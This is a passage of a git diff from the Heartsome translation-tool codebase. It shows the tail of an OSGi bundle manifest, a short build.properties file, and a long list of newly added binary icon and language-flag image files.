net.heartsome.cat.common.ui.innertag, + net.heartsome.cat.common.ui.languagesetting, + net.heartsome.cat.common.ui.listener, + net.heartsome.cat.common.ui.utils, + net.heartsome.cat.common.ui.wizard +Import-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.common.core, + net.heartsome.cat.common.file, + net.heartsome.cat.common.innertag, + net.heartsome.cat.common.innertag.factory, + net.heartsome.cat.common.locale, + net.heartsome.cat.common.resources, + net.heartsome.cat.common.util, + org.eclipse.core.resources, + org.eclipse.jface.text, + org.eclipse.ui.ide +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_commons/net.heartsome.cat.common.ui/build.properties b/base_commons/net.heartsome.cat.common.ui/build.properties new file mode 100644 index 0000000..4053f59 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/build.properties @@ -0,0 +1,7 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + icons/,\ + images/ diff --git a/base_commons/net.heartsome.cat.common.ui/icons/dialog_warning.ico b/base_commons/net.heartsome.cat.common.ui/icons/dialog_warning.ico new file mode 100644 index 0000000..0283a80 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/icons/dialog_warning.ico differ diff --git a/base_commons/net.heartsome.cat.common.ui/icons/disabled_co.png b/base_commons/net.heartsome.cat.common.ui/icons/disabled_co.png new file mode 100644 index 0000000..c1e73ef Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/icons/disabled_co.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/icons/enabled_co.png b/base_commons/net.heartsome.cat.common.ui/icons/enabled_co.png new file mode 100644 index 0000000..8ebb528 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/icons/enabled_co.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/icons/network.png b/base_commons/net.heartsome.cat.common.ui/icons/network.png new file mode 100644 index 0000000..02a32d5 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/icons/network.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ab.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ab.png new file mode 100644 index 0000000..370a4d9 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ab.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ae.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ae.png new file mode 100644 index 0000000..c0f3a5d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ae.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/af.png b/base_commons/net.heartsome.cat.common.ui/images/lang/af.png new file mode 100644 index 0000000..5213758 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/af.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/am.png b/base_commons/net.heartsome.cat.common.ui/images/lang/am.png new file mode 100644 index 0000000..694d457 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/am.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/an.png b/base_commons/net.heartsome.cat.common.ui/images/lang/an.png new file mode 100644 index 0000000..b853aae Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/an.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-BH.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-BH.png new file mode 100644 index 0000000..aa42471 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-BH.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-DZ.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-DZ.png new file mode 100644 index 0000000..6dfdd59 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-DZ.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-EG.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-EG.png new file mode 100644 index 0000000..f1c757f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-EG.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-IQ.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-IQ.png new file mode 100644 index 0000000..8677e4a Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-IQ.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-JO.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-JO.png new file mode 100644 index 0000000..51eca1b Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-JO.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-KW.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-KW.png new file mode 100644 index 0000000..7ab3270 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-KW.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-LB.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-LB.png new file mode 100644 index 0000000..5a76c30 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-LB.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-LY.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-LY.png new file mode 100644 index 0000000..7bf9491 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-LY.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-MA.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-MA.png new file mode 100644 index 0000000..9fb0397 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-MA.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-OM.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-OM.png new file mode 100644 index 0000000..d08ccf1 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-OM.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-QA.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-QA.png new file mode 100644 index 0000000..5f40dfa Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-QA.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-SA.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-SA.png new file mode 100644 index 0000000..3862cb3 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-SA.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-SY.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-SY.png new file mode 100644 index 0000000..f118527 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-SY.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-TN.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-TN.png new file mode 100644 index 0000000..0f4563f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-TN.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar-YE.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-YE.png new file mode 100644 index 0000000..fe02ff2 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar-YE.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ar.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ar.png new file mode 100644 index 0000000..0c76045 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ar.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/as.png b/base_commons/net.heartsome.cat.common.ui/images/lang/as.png new file mode 100644 index 0000000..bcfe9d6 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/as.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/az.png b/base_commons/net.heartsome.cat.common.ui/images/lang/az.png new file mode 100644 index 0000000..d775090 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/az.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ba.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ba.png new file mode 100644 index 0000000..f850dd7 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ba.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/be.png b/base_commons/net.heartsome.cat.common.ui/images/lang/be.png new file mode 100644 index 0000000..1169d1d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/be.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/bg.png b/base_commons/net.heartsome.cat.common.ui/images/lang/bg.png new file mode 100644 index 0000000..c5c22fd Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/bg.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/bi.png b/base_commons/net.heartsome.cat.common.ui/images/lang/bi.png new file mode 100644 index 0000000..d156ed9 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/bi.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/bm.png b/base_commons/net.heartsome.cat.common.ui/images/lang/bm.png new file mode 100644 index 0000000..4f3ed62 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/bm.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/bn.png b/base_commons/net.heartsome.cat.common.ui/images/lang/bn.png new file mode 100644 index 0000000..82ac45a Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/bn.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/br.png b/base_commons/net.heartsome.cat.common.ui/images/lang/br.png new file mode 100644 index 0000000..186bfc2 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/br.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/bs.png b/base_commons/net.heartsome.cat.common.ui/images/lang/bs.png new file mode 100644 index 0000000..18d75ee Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/bs.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ca.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ca.png new file mode 100644 index 0000000..f0494db Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ca.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ch.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ch.png new file mode 100644 index 0000000..da9777b Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ch.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/co.png b/base_commons/net.heartsome.cat.common.ui/images/lang/co.png new file mode 100644 index 0000000..c1c16bb Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/co.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/cs.png b/base_commons/net.heartsome.cat.common.ui/images/lang/cs.png new file mode 100644 index 0000000..7241de6 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/cs.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/cu.png b/base_commons/net.heartsome.cat.common.ui/images/lang/cu.png new file mode 100644 index 0000000..9d85eae Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/cu.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/cv.png b/base_commons/net.heartsome.cat.common.ui/images/lang/cv.png new file mode 100644 index 0000000..23efb7d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/cv.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/cy.png b/base_commons/net.heartsome.cat.common.ui/images/lang/cy.png new file mode 100644 index 0000000..b9b1b0d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/cy.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/de-DE.png b/base_commons/net.heartsome.cat.common.ui/images/lang/de-DE.png new file mode 100644 index 0000000..3503589 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/de-DE.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/de-LI.png b/base_commons/net.heartsome.cat.common.ui/images/lang/de-LI.png new file mode 100644 index 0000000..17d158b Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/de-LI.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/de-LU.png b/base_commons/net.heartsome.cat.common.ui/images/lang/de-LU.png new file mode 100644 index 0000000..6ba87ba Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/de-LU.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/dz.png b/base_commons/net.heartsome.cat.common.ui/images/lang/dz.png new file mode 100644 index 0000000..2c9393e Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/dz.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ee.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ee.png new file mode 100644 index 0000000..951f7da Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ee.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/en-AU.png b/base_commons/net.heartsome.cat.common.ui/images/lang/en-AU.png new file mode 100644 index 0000000..866e97d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/en-AU.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/en-BZ.png b/base_commons/net.heartsome.cat.common.ui/images/lang/en-BZ.png new file mode 100644 index 0000000..9f8bb27 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/en-BZ.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/en-CA.png b/base_commons/net.heartsome.cat.common.ui/images/lang/en-CA.png new file mode 100644 index 0000000..97cab2a Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/en-CA.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/en-IE.png b/base_commons/net.heartsome.cat.common.ui/images/lang/en-IE.png new file mode 100644 index 0000000..d74647b Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/en-IE.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/en-JM.png b/base_commons/net.heartsome.cat.common.ui/images/lang/en-JM.png new file mode 100644 index 0000000..af03dde Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/en-JM.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/en-NZ.png b/base_commons/net.heartsome.cat.common.ui/images/lang/en-NZ.png new file mode 100644 index 0000000..dc66b96 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/en-NZ.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/en-US.png b/base_commons/net.heartsome.cat.common.ui/images/lang/en-US.png new file mode 100644 index 0000000..eec6a25 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/en-US.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/en-ZA.png b/base_commons/net.heartsome.cat.common.ui/images/lang/en-ZA.png new file mode 100644 index 0000000..cb47a42 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/en-ZA.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/en.png b/base_commons/net.heartsome.cat.common.ui/images/lang/en.png new file mode 100644 index 0000000..4e64091 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/en.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-AR.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-AR.png new file mode 100644 index 0000000..5f4d48e Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-AR.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-BO.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-BO.png new file mode 100644 index 0000000..e230030 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-BO.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-CL.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-CL.png new file mode 100644 index 0000000..7bbb12d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-CL.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-CO.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-CO.png new file mode 100644 index 0000000..c1c16bb Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-CO.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-CR.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-CR.png new file mode 100644 index 0000000..61ae123 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-CR.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-DO.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-DO.png new file mode 100644 index 0000000..509cd84 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-DO.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-EC.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-EC.png new file mode 100644 index 0000000..bae0505 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-EC.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-ES.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-ES.png new file mode 100644 index 0000000..6be69e5 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-ES.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-GT.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-GT.png new file mode 100644 index 0000000..be33f5d Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-GT.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-HN.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-HN.png new file mode 100644 index 0000000..e285dc7 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-HN.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-MX.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-MX.png new file mode 100644 index 0000000..29d3bb3 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-MX.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-NI.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-NI.png new file mode 100644 index 0000000..e2afd1b Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-NI.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-PA.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-PA.png new file mode 100644 index 0000000..33a12f8 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-PA.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-PE.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-PE.png new file mode 100644 index 0000000..7c45342 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-PE.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-PR.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-PR.png new file mode 100644 index 0000000..67d4e16 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-PR.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-PY.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-PY.png new file mode 100644 index 0000000..5df6354 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-PY.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-SV.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-SV.png new file mode 100644 index 0000000..7378672 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-SV.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-UY.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-UY.png new file mode 100644 index 0000000..31f180e Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-UY.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es-VE.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es-VE.png new file mode 100644 index 0000000..906e0f3 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es-VE.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/es.png b/base_commons/net.heartsome.cat.common.ui/images/lang/es.png new file mode 100644 index 0000000..6be69e5 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/es.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/et.png b/base_commons/net.heartsome.cat.common.ui/images/lang/et.png new file mode 100644 index 0000000..5206936 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/et.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/eu.png b/base_commons/net.heartsome.cat.common.ui/images/lang/eu.png new file mode 100644 index 0000000..ead93f8 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/eu.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/fi.png b/base_commons/net.heartsome.cat.common.ui/images/lang/fi.png new file mode 100644 index 0000000..acacae0 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/fi.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/fj.png b/base_commons/net.heartsome.cat.common.ui/images/lang/fj.png new file mode 100644 index 0000000..f755bba Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/fj.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/fo.png b/base_commons/net.heartsome.cat.common.ui/images/lang/fo.png new file mode 100644 index 0000000..b754ef1 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/fo.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/fr-BE.png b/base_commons/net.heartsome.cat.common.ui/images/lang/fr-BE.png new file mode 100644 index 0000000..6296b16 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/fr-BE.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/fr-FR.png b/base_commons/net.heartsome.cat.common.ui/images/lang/fr-FR.png new file mode 100644 index 0000000..1c4c887 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/fr-FR.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/fr-LU.png b/base_commons/net.heartsome.cat.common.ui/images/lang/fr-LU.png new file mode 100644 index 0000000..6ba87ba Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/fr-LU.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/fr.png b/base_commons/net.heartsome.cat.common.ui/images/lang/fr.png new file mode 100644 index 0000000..5f0f374 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/fr.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ga.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ga.png new file mode 100644 index 0000000..33d610f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ga.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/gd.png b/base_commons/net.heartsome.cat.common.ui/images/lang/gd.png new file mode 100644 index 0000000..f7f7b7f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/gd.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/gl.png b/base_commons/net.heartsome.cat.common.ui/images/lang/gl.png new file mode 100644 index 0000000..31d0777 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/gl.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/gn.png b/base_commons/net.heartsome.cat.common.ui/images/lang/gn.png new file mode 100644 index 0000000..bb53354 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/gn.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/gu.png b/base_commons/net.heartsome.cat.common.ui/images/lang/gu.png new file mode 100644 index 0000000..b3f678f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/gu.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/he-IL.png b/base_commons/net.heartsome.cat.common.ui/images/lang/he-IL.png new file mode 100644 index 0000000..6870ccc Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/he-IL.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/hr.png b/base_commons/net.heartsome.cat.common.ui/images/lang/hr.png new file mode 100644 index 0000000..b419691 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/hr.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ht.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ht.png new file mode 100644 index 0000000..93ab063 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ht.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/hu.png b/base_commons/net.heartsome.cat.common.ui/images/lang/hu.png new file mode 100644 index 0000000..07b1629 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/hu.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/hy.png b/base_commons/net.heartsome.cat.common.ui/images/lang/hy.png new file mode 100644 index 0000000..9cb5898 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/hy.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/id.png b/base_commons/net.heartsome.cat.common.ui/images/lang/id.png new file mode 100644 index 0000000..215d1df Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/id.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ie.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ie.png new file mode 100644 index 0000000..a8243b4 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ie.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/in.png b/base_commons/net.heartsome.cat.common.ui/images/lang/in.png new file mode 100644 index 0000000..6625e65 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/in.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/io.png b/base_commons/net.heartsome.cat.common.ui/images/lang/io.png new file mode 100644 index 0000000..d9f4d1f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/io.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/is.png b/base_commons/net.heartsome.cat.common.ui/images/lang/is.png new file mode 100644 index 0000000..951474a Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/is.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/it-IT.png b/base_commons/net.heartsome.cat.common.ui/images/lang/it-IT.png new file mode 100644 index 0000000..5a7616b Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/it-IT.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/it.png b/base_commons/net.heartsome.cat.common.ui/images/lang/it.png new file mode 100644 index 0000000..1b7a32b Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/it.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ja.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ja.png new file mode 100644 index 0000000..e96c77f Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ja.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/kg.png b/base_commons/net.heartsome.cat.common.ui/images/lang/kg.png new file mode 100644 index 0000000..9c16baf Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/kg.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ki.png b/base_commons/net.heartsome.cat.common.ui/images/lang/ki.png new file mode 100644 index 0000000..2bc7854 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/ki.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/kl.png b/base_commons/net.heartsome.cat.common.ui/images/lang/kl.png new file mode 100644 index 0000000..3a9364e Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/kl.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/km.png b/base_commons/net.heartsome.cat.common.ui/images/lang/km.png new file mode 100644 index 0000000..881ab97 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/km.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/kn.png b/base_commons/net.heartsome.cat.common.ui/images/lang/kn.png new file mode 100644 index 0000000..4948b26 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/kn.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/kr.png b/base_commons/net.heartsome.cat.common.ui/images/lang/kr.png new file mode 100644 index 0000000..add72f6 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/kr.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/kw.png b/base_commons/net.heartsome.cat.common.ui/images/lang/kw.png new file mode 100644 index 0000000..34e0ce3 Binary files /dev/null and b/base_commons/net.heartsome.cat.common.ui/images/lang/kw.png differ diff --git a/base_commons/net.heartsome.cat.common.ui/images/lang/ky.png 